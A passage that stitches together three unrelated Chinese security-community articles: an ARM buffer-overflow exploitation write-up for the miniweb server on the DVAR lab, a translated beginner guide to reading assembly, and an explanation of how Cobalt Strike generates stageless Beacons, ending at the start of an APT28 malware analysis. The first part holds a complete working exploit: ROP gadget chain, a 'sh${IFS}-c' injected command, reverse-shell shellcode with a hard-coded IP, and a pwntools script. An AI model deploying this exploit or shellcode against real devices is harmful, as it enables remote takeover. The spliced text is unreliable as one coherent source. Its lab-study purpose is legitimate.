Aa0AAa0BAa0CAa0DAa0EAa0FAa0GAa0HAa0IAa0JAa0KAa0LAa0MAa0NAa0OAa0PAa0QAa0RAa0SAa0TAa0UAa0VAa0WAa0XAa0YAa0ZAa1AAa1BAa1CAa1DAa1EAa1FAa1GAa1HAa1IAa1JAa1KAa1LAa1MAa1NAa1OAa1PAa1QAa1RAa1SAa1TAa1UAa1VAa1WAa1XAa1Y
HTTP/1.1
Host: 1.1.1.1
在DVAR中用gdb lobby pid，发送数据包，程序中断在0x41513160
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x4004d910 in ?? ()
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41513160 in ?? ()
(gdb) Quit
(gdb)
这里需要注意，最后一位数字不可信，搜索前面三个字符，a1Q,最后确定为a1QA；’A’=0x61,1用作表示进入thumb模式，所以最后一位变成了0x60。
所以溢出点就确定了
GET
Aa0AAa0BAa0CAa0DAa0EAa0FAa0GAa0HAa0IAa0JAa0KAa0LAa0MAa0NAa0OAa0PAa0QAa0RAa0SAa0TAa0UAa0VAa0WAa0XAa0YAa0ZAa1AAa1BAa1CAa1DAa1EAa1FAa1GAa1HAa1IAa1JAa1KAa1LAa1MAa1NAa1OAa1PAa1QA
HTTP/1.1
### 4.2 调试应该注意的
**4.2.1 信息搜集**
搜集安全信息
gef➤ checksec
[+] checksec for ‘/tmp/gef/341//proc/341/exe’
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : No
看so是否是随机加载的，虽然在gef中输入alsr显示on，但是实际不是如此，
cat /proc/sys/kernel/randomize_va_space显示是0，多次重启也没有变化。
这里同时搜集模块加载地址的信息，用于之后编写shellcode
exploitlab-DVAR:~# cat /proc/345/maps
00010000-00014000 r-xp 00000000 08:00 520 /root/miniweb
00023000-00026000 rwxp 00003000 08:00 520 /root/miniweb
40000000-40064000 r-xp 00000000 08:00 185 /lib/libc.so
40064000-40065000 r-xp 00000000 00:00 0 [sigpage]
40073000-40074000 r-xp 00063000 08:00 185 /lib/libc.so
40074000-40075000 rwxp 00064000 08:00 185 /lib/libc.so
40075000-40077000 rwxp 00000000 00:00 0
40078000-40089000 r-xp 00000000 08:00 2791 /lib/libgcc_s.so.1
40089000-4008a000 rwxp 00009000 08:00 2791 /lib/libgcc_s.so.1
befdf000-bf000000 rwxp 00000000 00:00 0 [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
reboot
exploitlab-DVAR:~# cat /proc/300/maps
00010000-00014000 r-xp 00000000 08:00 520 /root/miniweb
00023000-00026000 rwxp 00003000 08:00 520 /root/miniweb
40000000-40064000 r-xp 00000000 08:00 185 /lib/libc.so
40064000-40065000 r-xp 00000000 00:00 0 [sigpage]
40073000-40074000 r-xp 00063000 08:00 185 /lib/libc.so
40074000-40075000 rwxp 00064000 08:00 185 /lib/libc.so
40075000-40077000 rwxp 00000000 00:00 0
40078000-40089000 r-xp 00000000 08:00 2791 /lib/libgcc_s.so.1
40089000-4008a000 rwxp 00009000 08:00 2791 /lib/libgcc_s.so.1
befdf000-bf000000 rwxp 00000000 00:00 0 [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
**4.2.2 程序修改**
miniweb每次接受到数据包并进行处理的时候都会fork出一个子进程，漏洞函数就在这部分代码中，这将阻碍调试，这里使用keypatch将fork去掉，当然这样程序启动就只能接受一个数据包然后就结束了。
if ( v16 )
{
setgid(v16->pw_gid);
setuid(v16->pw_uid);
}
while ( 1 )
{
do
{
addr_len = 16;
v15 = accept(fd, &v13, &addr_len);// 接受到一次连接
}
while ( v15 == -1 );
if ( !fork() )// 创建一个新的子进程
break;// 并跳出当前循环，执行之后的代码
close(v15);
while ( waitpid(-1, 0, 1) > 0 )
;
}
do
{
close(fd);
v22 = &readfds;
for ( i = 32; i; --i )
{
v5 = v22;
v22 = (fd_set *)((char *)v22 + 4);
v5->__fds_bits[0] = 0;
目标就是将!fork()改为1，收到连接就跳出循环，这会导致之后不能接受到其他连接。下图左边是修改之前，右图是修改之后
图片20
### 4.3 ROP-尝试通过发包执行一个命令
从易到难，最开始我想执行一个命令
也就是system(cmdstr)
要实现这个目标需要将a0指向命令字符串，将pc设置为system函数的地址
我选择的so是libc.so。r0的数据从栈上来，最朴实的想法：
ROPgadget —binary libc.so |grep “ldr r0,”
然后想顺便把pc寄存器也解决下，就找到下面这个gadget
0x00041adc : ldr r0, [sp, #0x14] ; add sp, sp, #0x1c ; pop {pc} ; andeq r3,
r3, r4, asr #8 ; cmp r1, #0 ; bne #0x41b20 ; str r1, [r0, #4] ; str r1, [r0] ;
bx lr
这样只需一步就能达到目标。
之前已经知道libc.so的加载地址是0x40000000，cmd字符串的地址是0xbeffbb08，这个是栈中保存字符串的地址,具体位置根据测试+debug得到。
在p32(gadget1)后加’AAAA’*4是调试所得，这样当程序执行到gadget1的时候，sp就指向’AAAA’*4之后的位置
“sh${IFS}-c${IFS}“ps>/tmp/1”这样写的原因是原url字符串在程序处理过程中会被添加引号“，比如url=
aaaaaa，会被处理成aaaaaa” ，所以这里和它配对了下“，然后理所当然使用了sh -c。至于空格，这里使用${IFS}替代。
gadget1=0x40041adc
mycmdaddress=0xbeffbb08
system_addr=0x4003AEB8
payload1 = “GET “+’A’*169 + p32(gadget1) +’AAAA’*4 + ‘A’*0x14 +
p32(mycmdaddress) + ‘A’*0x4 + p32(system_addr)+”sh${IFS}-c${IFS}“ps>/tmp/1”+”
HTTP/1.1rn”+”Host: 1.1.1.1rnrn”
p.send(payload1)
执行到gadget1
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
stack ────
0xbeffbae8│+0x0000: 0x41414141 ← $sp
0xbeffbaec│+0x0004: 0x41414141
0xbeffbaf0│+0x0008: 0x41414141
0xbeffbaf4│+0x000c: 0x41414141
0xbeffbaf8│+0x0010: 0x41414141
0xbeffbafc│+0x0014: 0xbeffbb08 #mycmdaddress
0xbeffbb00│+0x0018: 0x41414141
0xbeffbb04│+0x001c: 0x4003aeb8 #system_addr
──────────────────────────────────────────────────────────────────────────────────────────────────────────
code:arm:ARM ────
0x40041ad0 ldm r12, {r0, r1}
0x40041ad4 add r3, sp, #20
0x40041ad8 bl 0x400419d4
→ 0x40041adc ldr r0, [sp, #20]
0x40041ae0 add sp, sp, #28
0x40041ae4 pop {pc} ; (ldr pc, [sp], #4)
然而，上面这种利用有个缺陷，一开始我只在patch后的miniweb中测过，后来发现在没有patch过的miniweb中是不行的，原因就是栈的地址变化了（之前patch后的miniweb中一直没变化），cmd字符串定位错误。
不想再去找带fork的miniweb的栈地址了，并且每次fork应该都会变，干脆干点稳定的，类似mov pc，sp之类的执行栈上的代码zhaoge
### 4.4 ROP-尝试执行栈上的数据
接下来寻找就是跳转到栈上执行代码的ROP
目标是：mov pc，sp，需要保证的：每一步需要能控制跳转
这里是从后往前找，从最终目标开始找起。
1.首先我想找mov pc，sp一类的，没有
2.然后找mov rX,sp;mov pc， rX 这种的，对于mov pc， rX ，只有 mov pc, r5;
OK，这是最后一步不需要考虑之后的跳转，接下来需要保证的是将r5设置为sp
u:~/Desktop# ROPgadget —binary libc.so |grep “mov pc, r”
0x0004d8cc : bne #0x4d8f8 ; mov lr, pc ; mov pc, r5 ; mov r7, #1 ; svc #0 ;
mov lr, pc ; bx r5
0x0004d8c0 : bx lr ; mov r0, r6 ; tst r5, #1 ; bne #0x4d904 ; mov lr, pc ; mov
pc, r5 ; mov r7, #1 ; svc #0 ; mov lr, pc ; bx r5
0x0004d8d0 : mov lr, pc ; mov pc, r5 ; mov r7, #1 ; svc #0 ; mov lr, pc ; bx
r5
0x0004d8d4 : mov pc, r5 ; mov r7, #1 ; svc #0 ; mov lr, pc ; bx r5
0x0004d8c4 : mov r0, r6 ; tst r5, #1 ; bne #0x4d900 ; mov lr, pc ; mov pc, r5
; mov r7, #1 ; svc #0 ; mov lr, pc ; bx r5
0x0004d8c8 : tst r5, #1 ; bne #0x4d8fc ; mov lr, pc ; mov pc, r5 ; mov r7, #1
; svc #0 ; mov lr, pc ; bx r5
3.然后就想找mov r5,sp,没有
4.接着找mov rX,sp;mov r5,rX，接下来每一都需要保证能控制跳转
对于mov rX,sp，只有mov r0,sp，其他的rX和sp都没有，ROPgadget —binary libc.so |grep “mov r0,
sp” ，有个还不错的，其中r6可用pop{。。。r6}控制
0x000240f4 : beq #0x24190 ; mov r2, #0x18 ; mov r1, #0 ; mov r0, sp ; blx
r6(r6可用pop{。。。r6}控制)
5.mov r5,rX就只能找mov r5,r0,有是有，只是都不太好用，看到很多还没到可控制的跳转（pop {pc}）就直接bl
#address了,比如像这种 mov r5, r0 ; mov r0, r4 ; bl #0x4371c ; mov r0, r5 ; pop {r4,
r5, r6, pc}
找来找去找到下面这条
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):~/Desktop# ROPgadget
—binary libc.so |grep “mov r5, r”
0x0005244c : add r3, pc, r3 ; ldr r3, [r3] ; mov r5, r0 ; cmp r3, #0 ; mov r4,
r1 ; beq #0x52490 ; blx r3
最后跳转是r3控制的，所以在执行这句之前必须设置好r3,需要注意的是r3并不能找到 pop {r3，。。。} 来控制;
6.接着找 ROPgadget —binary libc.so |grep “mov r3, r”，并可控pc的gadget
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):~/Desktop# ROPgadget
—binary libc.so |grep “mov r3, r”
0x0002e288 : subs r2, r3, #0 ; bne #0x2e28c ; b #0x2e2ac ; mov r3, r2 ; add
r0, r4, r3 ; pop {r4, pc}
7.r2同样没有pop{r2,…}可以设置，
接着找root[@ubuntu](https://github.com/ubuntu "@ubuntu"):~/Desktop# ROPgadget
—binary libc.so |grep “mov r2, r”
有以下一些可用的（选择理由是r4 r7 r6都可用pop{rX。。。}控制）
0x000241e0 : mov r2, r4 ; mov r1, r5 ; mov r0, r6 ; blx r7
0x00041d0c : mov r2, r7 ; mov r1, r5 ; ldr r0, [r4, #4] ; bl #0x41ce0 ; mov
r2, r6 ; mov r1, #1 ; mov r0, r4 ; blx r5
0x00041d1c : mov r2, r6 ; mov r1, #1 ; mov r0, r4 ; blx r5
0x000450dc : mov r2, r6 ; mov r0, r4 ; blx r1
总算到头了。
所有的目的就是将sp传递到pc，中间用了很多rX来连接，每次连接都需要考虑下一步的跳转；所有数据来自栈，必须通过栈上的数据来控制跳转pop{rX….}也就是流程。
最后整个shellcode。
一开始跳转到gadget1：
pop {r4, r5, r6, r7, pc}// 控制r4, r5, r6, r7, pc
pc = 0x400241e0，目的是为了设置r2，其中上一步的r4控制r2，r4->r2->r3；r7控制接下来的流程
0x400241e0 : mov r2, r4 ; mov r1, r5 ; mov r0, r6 ; blx r7
r7 = 0x4002e288+0xc,目的是将r2传递到r3,r3之后会用来控制流程（r4->r2->r3）；使用栈的数据控制接下来的流程pop {r4,
pc}
0x4002e288 : subs r2, r3, #0 ; bne #0x2e28c ; b #0x2e2ac ; mov r3, r2 ; add
r0, r4, r3 ; pop {r4, pc}
mov r3, r2 ; add r0, r4, r3 ; pop {r4, pc}
pc=pc_2=0x400240f4+0x8 ，目的是将sp传递到r0, sp->r0->r5->pc，最开始的pop控制r6,控制流程
0x400240f4 : beq #0x24190 ; mov r2, #0x18 ; mov r1, #0 ; mov r0, sp ; blx r6
r6 = 0x4005244c+0x8
,目的是将sp->r0->r5->pc，将r0传递到r5,r3之前已经设置好（r4->r2->r3），控制接下来的流程
0x0005244c : add r3, pc, r3 ; ldr r3, [r3] ; mov r5, r0 ; cmp r3, #0 ; mov r4,
r1 ; beq #0x52490 ; blx r3
r3 = r2 =r4=0x4004d8d4,sp->r0->r5->pc,大功告成
0x0004d8d4 : mov pc, r5 ; mov r7, #1 ; svc #0 ; mov lr, pc ; bx r5
找的时候可能会有些稍微不清晰，但是心里会有个大致的感觉—就是这个最后能成还是不能成。
gadget1=0x40012468
pc = 0x400241e0
r6 = 0x4005244c+0x8
r5 = "AAAA"
r4 = 0x4004d8d4
r7 = 0x4002e288+0xc #0x4002E294
r4_2= "AAAA"
pc_2 = 0x400240f4+0x8
test= "x01x30x8fxe2x13xffx2fxe1x40x40x02x30x01x21x52x40x64x27xb5x37x01xdfx06x1cx0bxa1x4ax70x10x22x02x37x01xdfx30x1cx49x40x3fx27x01xdfx30x1cx01x31x01xdfx30x1cx01x31x01xdfx06xa0x52x40x05xb4x69x46xc2x71x0bx27x01xdfxffxffxffxffx02xaax11x5cxc0xa8x4ax89x2fx62x69x6ex2fx73x68x58"
payload1 = "GET "+'A'*169 + p32(gadget1) +'AAAA'*4 +p32(r4)+ r5+p32(r6)+p32(r7)+p32(pc) +r4_2+p32(pc_2)+test+" HTTP/1.1rn"+"Host: 1.1.1.1rnrn"
p.send(payload1)
### 4.5 shellcode编写—提供反向shell
shellcode是我基于exploitdb上的shellcode修改的
在这个实验环境中execve(“/bin/sh”,0,0)会报错
必须是execve(“/bin/sh”,[“/bin/sh”],0)
#include "stdlib.h"
#include "stdio.h"
#include "unistd.h"
void main()
{
char *arg[] = {"/bin/sh"};
execve("/bin/sh",arg,0);
}
shellcode.s
1.需要注意的地方就是避免0x20 0x00，我是通过变化指令来实现的，也有在shellcode开头添加一段解码汇编的。
修改指令推荐使用keystone中的kstool.exe(下载keystone windows版里面有)
2.设置execve第二个参数是这样设置的
push {r0, r2}; movs r1, sp;
3.padpad当前版本没有实际作用，之前版本留下的，这里作为一个提示。
之前版本的错误
ipv4.s: Assembler messages:
ipv4.s:23: Error: invalid immediate for address calculation (value =
0x0000002A)
ipv4.s:45: Error: invalid immediate for address calculation (value =
0x00000016
因为交叉编译工具不够智能，adr不能自动处理，导致后面的address不符合立即数的规范，是为了补成4的倍数。
比如padpad:
.ascii “xffxff” ，当然现在是.ascii “xffxffxffxff” 没有实际作用
.section .text
.global _start
_start:
/* Enter Thumb mode */
.ARM
add r3, pc, #1
bx r3
.THUMB
/* Create a new socket*/
eor r0, r0, r0
#no 0x00
add r0, #2
movs r1, #1
eor r2, r2, r2
movs r7, #100
add r7, #181
svc #1
#use r6
mov r6, r0
/* Connect to client */
adr r1, struct_addr
strb r2, [r1, #1]
movs r2, #16
add r7, #2
svc #1
/* Duplicate STDIN, STDOUT and STERR */
#no 0x20
movs r0, r6
eor r1, r1, r1
movs r7, #63
svc #1
#no 0x20
movs r0, r6
add r1, #1
svc #1
#no 0x20
movs r0, r6
add r1, #1
svc #1
/* Execute shell */
adr r0, shellcode
eor r2, r2, r2
push {r0, r2}
movs r1, sp
strb r2, [r0, #7]
mov r7, #11
svc #1
padpad:
.ascii "xffxffxffxff"
struct_addr:
.ascii "x02xaa"
.ascii "x11x5c"
.ascii "xc0xa8x4ax89"
shellcode:
.ascii "/bin/shX"
4.编译测试
执行命令：armv5l-as -o ipv4.o ipv4.s && armv5l-ld -N -o ipv4 ipv4.o&&armv5l-objcopy
-O binary ipv4 ipv4.bin&&hexdump -v -e ‘““”x” 1/1 “%02x” “”‘ ipv4.bin
打印信息就是shellcode，然后放入下面的数组中，执行armv5l-gcc reversetcp.c -o reversetcp —static编译即可
#include<stdio.h>
#include<string.h>
unsigned char sc[] = "x01x30x8fxe2x13xffx2fxe1x40x40x02x30x01x21x52x40x64x27xb5x37x01xdfx06x1cx0bxa1x4ax70x10x22x02x37x01xdfx30x1cx49x40x3fx27x01xdfx30x1cx01x31x01xdfx30x1cx01x31x01xdfx06xa0x52x40x05xb4x69x46xc2x71x0bx27x01xdfxffxffxffxffx02xaax11x5cxc0xa8x4ax89x2fx62x69x6ex2fx73x68x58";
//armv5l-gcc reversetcp.c -o reversetcp --static
void main()
{
printf("Shellcode Length: %dn", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}
## 5.总结
webs测试时应由简入繁，测试间隔应该细化。
寻找ROP链需要关注：1,如何实现最终目标 2,处在当前这一步，下一步应该跳向哪里，该如何控制
shellcode编写应注意：如果调试发现奇怪的问题，应该写测试程序放到目标环境中运行，缩小问题的范围。
reverseshell完整调试
5.1 运行patch后的miniweb，并附加，（我把要执行的命令写在README.txt了，原谅我的随意。。)
图片21
5.2
结合完整利用
from pwn import *
p = remote(‘192.168.74.134’,80)
gadget1=0x40012468
pc = 0x400241e0
r6 = 0x4005244c+0x8
r5 = “AAAA”
r4 = 0x4004d8d4
r7 = 0x4002e288+0xc #0x4002E294
r4_2= “AAAA”
pc_2 = 0x400240f4+0x8
test=
“x01x30x8fxe2x13xffx2fxe1x40x40x02x30x01x21x52x40x64x27xb5x37x01xdfx06x1cx0bxa1x4ax70x10x22x02x37x01xdfx30x1cx49x40x3fx27x01xdfx30x1cx01x31x01xdfx30x1cx01x31x01xdfx06xa0x52x40x05xb4x69x46xc2x71x0bx27x01xdfxffxffxffxffx02xaax11x5cxc0xa8x4ax89x2fx62x69x6ex2fx73x68x58”
payload1 = “GET “+’A’*169 + p32(gadget1) +’AAAA’*4 +p32(r4)+
r5+p32(r6)+p32(r7)+p32(pc) +r4_2+p32(pc_2)+test+” HTTP/1.1rn”+”Host:
1.1.1.1rnrn”
p.send(payload1)
在gadget1下断点 b *0x40012468
图片22
5.3 接下来发包触发断点，调试ROP
图片23-32
5.4 执行shellcode
图片33
5.5 调试结束。运行未patch的miniweb，ubuntu 执行nc -lvp 4444，ubuntu ip变了调整shellcode中的ip
重启
图片34
等待
图片35
send，成功
图片36 | 社区文章 |
翻译自：<https://medium.com/bugbountywriteup/bolo-reverse-engineering-part-1-basic-programming-concepts-f88b233c63b7>
在逆向工程学习过程我发现自己想要一个简单的指南，以便在浏览汇编代码时查找内容。
虽然我非常相信阅读源代码和手册来获取信息，但我完全理解想在一篇文章里面拥有简洁，易于理解，信息量大的代码愿望。 “逆向工程”系列正是如此！
在本系列文章中，我将向您展示逆向工程代码需要注意的事项。本系列文章将使初学者逆向工程师更容易掌握许多不同的概念在理想的情况下！
# **前言**
在本文中，您将看到C
++代码和汇编代码的屏幕截图以及有关你看到的这些截图为什么是你看到的这样的一些解释。此外，本系列文章不会介绍汇编的基础知识，它只会提供模式和反编译代码，以便您可以大致了解要查找的内容/如何解释汇编代码。
在本文中，我们将介绍：
* 变量初始化
* 基本输出
* 数学运算
* 函数
* 循环（For循环/ While循环）
* 条件声明（IF声明/switch声明）
* 用户输入
请注意：本教程是在Microsoft Visual Studio 2015中使用visual C
++制作的（我知道，过时的版本）。一些汇编代码（即带有cin的用户输入）将反映出这一点。此外，我使用IDA Pro作为我的反汇编工具。
# **初始化变量**
编程时变量非常重要，这里我们可以看到一些重要的变量：
a string #字符串变量
an int # 整型变量
a Boolean #布尔型变量
a char #字符型变量
a double #双精度变量
a float #单精度变量
a char array #字符型数组
请注意：在C ++中，'string'不是原始变量，但我认为无论如何都很重要。
现在，让我们来看看程序集：
初始化变量
在这里，我们可以看到IDA如何表示变量的空间分配。如您所见，我们在实际初始化每个变量之前为每个变量分配空间
一旦分配了空间，我们将我们想要设置每个变量的值移动到我们为所述变量分配的空间中。虽然这里初始化了大部分变量，但下面你会看到C ++字符串的启动。
如您所见，初始化字符串需要调用内置函数进行。
# **基本输出**
前言信息：在本节中，我将讨论推入堆栈并用作printf函数参数的项目。函数参数的概念将在本文后面更详细地解释。
虽然本教程是用Visual C ++构建的，但我选择使用printf而不是cout来输出
现在，我们来看看程序集：
首先，字符串文字：
如您所见，字符串文字被压入堆栈作为printf函数的参数被调用。
现在，我们来看看其中一个变量输出：
如您所见，首先将变量intvar移入EAX寄存器，然后将其用指示整数输出的字符串文字‘’%i’一起送入堆栈中。然后将这些变量从堆栈中取出，并作为在调用printf函数时的参数。
# **数学运算**
在本节中，我们将讨论如下函数：
1. 加法
2. 减法
3. 乘法
4. 除法
5. 按位与
6. 按位或
7. 按位异或
8. 按位非
9. 按位右移
10. 按位左移
我们来将每个函数分解为汇编：
首先我们将A表示为十六进制oA，表示十进制10，B表示为十六进制的oF，表示十进制的15。
我们使用"add"进行加法：
使用"sub"进行减法：
使用"imul"进行相乘：
我们使用"idiv"操作码进行相除。在这种情况下，我们还使用'cdq'来加倍EAX的大小，以便我们可以适应除法运算的输出。
使用"AND"进行按位与运算：
使用"OR"进行按位或运算：
使用"XOR"进行按位异或运算：
使用’NOT’进行按位非运算：
按位非
使用‘sar’进行右移：
使用'shl'进行按位左移：
# **函数调用**
在本节中，我们将介绍3种不同类型的函数：
1.一个基本的空函数
2.一个返回整数的函数
3.一个接受参数的函数
首先，让我们看看调用newfunc（）和newfuncret（）这两个函数，他们实际上都没有接受任何参数。
如果我们对newfunc（）函数进行调用，我们可以看到它输出出来的是"Hello!I’m a new function "
正如你所见，这个函数确实使用了retn操作码，但只是返回到了上一个位置。（这样程序能够在函数调用完成后继续。）现在，让我们看一下用c++的rand（）函数生成随机整数的newfuncret（）函数，然后返回所说的整数。
首先为A变量分配空间。然后调用rand（）函数，将其返回值放入EAX寄存器。接下来，将EAX变量移入A变量空间，将A做为rand（）的结果。最后，将A变量移入EAX，以便函数可以将其用作返回值。
现在我们已经了解了如何调用函数以及函数返回内容时的样子，让我们来谈谈使用参数调用函数：
首先，让我们再看一下调用申明
尽管C
++中的字符串需要调用basic_string函数，但无论数据类型如何，调用带参数的函数的概念都是相同的。首先，将变量放入寄存器中，然后将寄存器压入栈中，最后调用该函数。
我们来看看函数的代码：
所有这个函数都是接受一个字符串，一个整数和一个字符，并使用printf打印出来。如您所见，首先在函数顶部分配3个变量，然后将这些变量作为printf函数的参数压入堆栈。十分简单。
# **循环**
现在我们有函数调用，输出，变量和数学运算下来，让我们继续进行流控制。首先，我们将从for循环开始：
在我们将汇编代码分解为更小的部分之前，让我们看看总体布局。如您所见，当for循环开始时，它有2个选项;
它可以转到右侧的框（绿色箭头）并返回，也可以转到左侧的框（红色箭头）并循环回到for循环的开头。
首先，我们通过比较i变量和max变量来检查我们是否达到了最大值。如果i变量不大于或等于max变量，我们继续向左并输出i变量然后将i加1
并继续回到循环的开始。如果i变量实际上大于或等于max，我们只需退出for循环并返回。
现在，让我们来看看while循环：
在这个循环中，我们所做的就是生成0到20之间的随机数。如果数字大于10，我们退出循环并打印“I’m out!！”否则会继续循环。
在程序集中，生成A变量并最初设置为0，然后我们通过将A与十六进制数0A（表示十进制数）进行比较来初始化循环。如果A不大于或等于10，我们生成一个新的随机数然后设置为A，我们继续回到比较。如果A大于或等于10，我们打破循环，打印出“I’m
out!”，然后返回。
# **If 语句**
接下来，我们将讨论if语句。首先，我们来看看代码：
该函数生成0到20之间的随机数，并将所述数字存储在变量A中。如果A大于15，程序将输出出“greater than
15”。如果A小于15但大于10，程序将输出出“less than 15，greater than
10”。此模式将持续到A小于5，在这种情况下程序将输出“less than 5”。
现在，我们来看看汇编图：
如您所见，程序集的结构与实际代码类似。这是因为IF语句只是“If X Then Y Else Z”。
如果我们看一下顶部的第一组箭头，我们可以看到A变量和十六进制oF之间的比较，它代表十进制15.如果A大于或等于15，程序将输出“greater than
15”然后返回。否则，程序将比较A到十六进制oA，表示十进制10.此模式将继续，直到程序输出并返回。
# **Switch 语句**
Switch语句很像IF语句，除了在Switch语句中，一个变量或语句与一些“case”（或可能的等价）进行比较。我们来看看我们的代码：
在此函数中，我们将变量A设置为等于0到10之间的随机数。然后，我们使用Switch语句将A与多个case进行比较。如果A等于任何可能的情况，将打印case编号，然后程序将退出Switch语句，函数将返回。
现在，我们来看看汇编图：
与IF语句不同，switch语句不遵循“If X Then Y Else
Z”规则，相反，程序只是简单地将条件语句与case进行比较，并且只有在所述case是条件语句等效的情况下才执行一个case。请先看看最初的2个方框：
首先，程序生成随机数，并将其定为A。然后，程序通过首先将临时变量（var_D0）设为等于A来初始化switch语句，然后确保var_D0满足至少一个可能的情况。如果var_D0需要默认，程序会按照绿色箭头向下到最终返回部分（见下文）。否则，程序会启动切换跳转到等效case的部分:
在var_D0（A）等于5 的情况下，代码将跳转到上述case部分，输出“5”然后跳转到返回部分。
用户输入
在本节中，我们将使用C ++ cin函数来介绍用户输入。首先，我们来看看代码：
在这个函数中，我们简单地使用C ++ cin函数将一个字符串输入到变量句子中，然后我们通过printf输出句子。
我们把它分解成汇编语句。首先，C ++ cin部分：
此代码只是初始化字符串句子，然后调用cin函数并将输入设置为句子变量。让我们看看更近一点的cin调用：
首先，程序将句子变量的内容设置为EAX，然后将EAX推送到堆栈以用作cin函数的参数，然后调用cin函数并将其输出移动到ECX中，然后将其压入堆栈中在printf的语句：
谢谢！
希望本文能够让您对基本编程概念在汇编中的表示方式有所了解。请密切关注本系列的下一部分，逆向工程 - 第2部分（高级编程概念）！ | 社区文章 |
CobaltStrike 的 Beacon 生成分为两种，Stage Beacon 和 Stageless Beacon，这次主要来说明的是无阶段的
Stageless Beacon，最终文件比较大，不用从网络中来拉取。
本文的分析流程使用的 payload 是 windows/beacon_http/reverse_http
# 0x01 Patch Beacon
下面是 Stageless Beacon 的生成界面
首先在点击生成时，会进入 WindowsExecutableStageDialog.dialogAction
来进行处理，根据界面中所选择的输出类型，决定生成什么后缀的文件，然后弹出保存框
在选择完成后，会进入 dialogResult 方法，来处理 Patch 操作
首先会获取当前所选择的 Listener 的名字，并根据名字获取到 Listener，同时也获取当前所选择的架构
接着会走到 Patch Beacon 的最关键的方法 export
在 export 中，会先根据所选择的 payload 来决定调用哪个处理函数
首先会根据架构来选择所需要使用的 Beacon 文件，这个就是最核心的功能 DLL
接下来会执行两个关键的处理 exportBeaconStage 和 pe.process，在 exportBeaconStage 中处理了
C2Profile 相关内容，在 pe.process 中对 PE 格式、 ReflectiveLoad、引导头等进行了处理
在 exportBeaconStage 中，首先根据 Beacon 路径读取出相应的文件
之后就是对 C2Profile 的解析操作
在解析完后，会把所有的数据都以一定的格式来进行处理，具体的处理逻辑放在后面的文章来说明，这也是 BeaconEye、CobaltStrikeScan
等工具检测的根本依据，在明白了解析逻辑之后，也就很容易可以绕过这几款检测工具了；当然，在明白解析逻辑之后，还可以做到更加稳妥的检测方式，增加绕过难度，对抗就是这样产生的。
直接跳到处理完成之后
先将整体转成 byte 数组，设置总大小为 4096 个字节，在将其转换完成之后，不足的字节用随机字符填充
接着调用 beacon_obfuscate 对整块内容进行混淆，逐字节异或了
这样就完成了对 C2Profile 的全部操作，然后将其 Patch 到 Beacon 当中并返回
接着就是对 PE 所进行的处理了，主要也分了两步
在 pre_process 中主要是从 C2Profile 中取出与 PE 相关的项，然后通过 PEEditor 进行基本处理
在 post_process 中会添加 ReflectiveLoad 和引导头
在 BeaconRDLL 中，先使用 PEParser 对 Beacon 进行解析，作者所写的这个解析类有一些小
BUG，在增加一些新操作的时候会出问题，这点也放在后面的文章中去叙述。
接着会获取导出函数 ReflectiveLoad 的偏移
然后通过这个来 Patch 引导头
这里所谓的引导头就是利用 PE 头中的原始数据字节当作指令来使用，通过覆盖不重要的 PE
结构，在堆栈平衡的前提下，执行我们自己的功能，这也是可以单独拿来当作一篇文章来讲述的内容。
这里所做的事情，主要就是通过偏移跳转执行 ReflectiveLoad 函数
接着会调用 getReflectiveLoaderFunction 函数来添加 ReflectiveLoad 函数
其中的解析和修复重定位等操作暂且不表，重点来说一下 getLoaderFile，CS 中所提到的 ReflectiveLoad
都是作者自己来实现的，并不是直接用公开的 RDI
项目，虽然逻辑上都是一致的，而且这里是有三份备用方案的，根据名字也可以看出，它们的不同点在于分配内存时所使用的函数
HeapAlloc、VirtualAlloc、MapViewOfFile
之后就直接将 ReflectiveLoad 和引导头放到对应的位置上
这样对 Beacon 的所有关键处理也就完成了
# 0x02 Patch Loader
CS 并不是在处理完 Beacon 之后直接保存文件的，而是将处理完的 Beacon，根据你实际需要生成的类型，选择对应的 Loader，将 Beacon
Patch 到 Loader 当中，再进行文件保存的
下面就是根据选择的文件类型，选择对应的 Loader 了，可以看到每一个的名字里面都有 big，这就是为 Stageless 提供的 Loader，为
Stage 提供的 Loader 名字都是没有 big 的
重点是调用 _patchArtifact
在处理完最基本的信息后，会随机一个数值，再对整个 Beacon 进行异或操作
接下来就是 Patch 操作了，先找到 Patch 点，一串有 1024 个 A 的位置
接着构造 Patch 的内容，先存储 Patch+16 的位置(4 个字节)，接着是 Beacon 的总长度(4 个字节)，接着是异或的加密 Key(4
个字节)，GetModuleHandleA(4 个字节)，GetProcAddress(4 个字节)，异或后的 Beacon
所以第一个存储的位置，应该是指向了 GetProcAddress 的地址
最后就是 Patch 并返回
接着就直接写文件，完成 Patch 操作
# 0x03 文件对比
经过上面的分析可以看出来，在处理 Beacon 时最重要的是 C2Profile、ReflectiveLoad，在处理 Loader 的时候最重要的就是把
Beacon Patch 进来
首先看一下 beacon.x64.dll，通过直接搜索可以找到其对应的 Patch 点
从导出函数跟过来可以很明显的看到这里的一串 90 CC 占位
接着就是对比生成的 Beacon 与 artifact64big.exe
# 0x04 流程图
[文章首发公众号平台](https://mp.weixin.qq.com/s/LatoIDPPJcd-igYrF-IYzA) | 社区文章 |
最近在研究APT攻击，我选择研究APT的方法通过一个APT组织入手，我选择的是APT28这个组织，APT28组织是一个与俄罗斯政府组织的高级攻击团伙，我将分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的CVE-2015-1641漏洞样本，所有资料均来自互联网。
Seduploader恶意软件作为APT28的第一阶段后门使用，主要作用是用于侦察并下载第二阶段的木马。
主要的攻击方式交付这种木马：
1 鱼叉攻击（使用钓鱼邮件包含恶意的office文档）
2 水坑攻击（使用Sedkit漏洞工具包，主要包括flash跟IE的漏洞）
此木马的一些特点：
1 包含有Carberp开源木马的代码
2 此木马已经被编译的有Windows跟OS X版本
3 进行反分析已经不同版本多种连接C&C的方式
**样本分析**
文件的信息如下
文件名称 btecache.dll
SHA-256 c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785
创建时间 2016-05-20 13:16:01
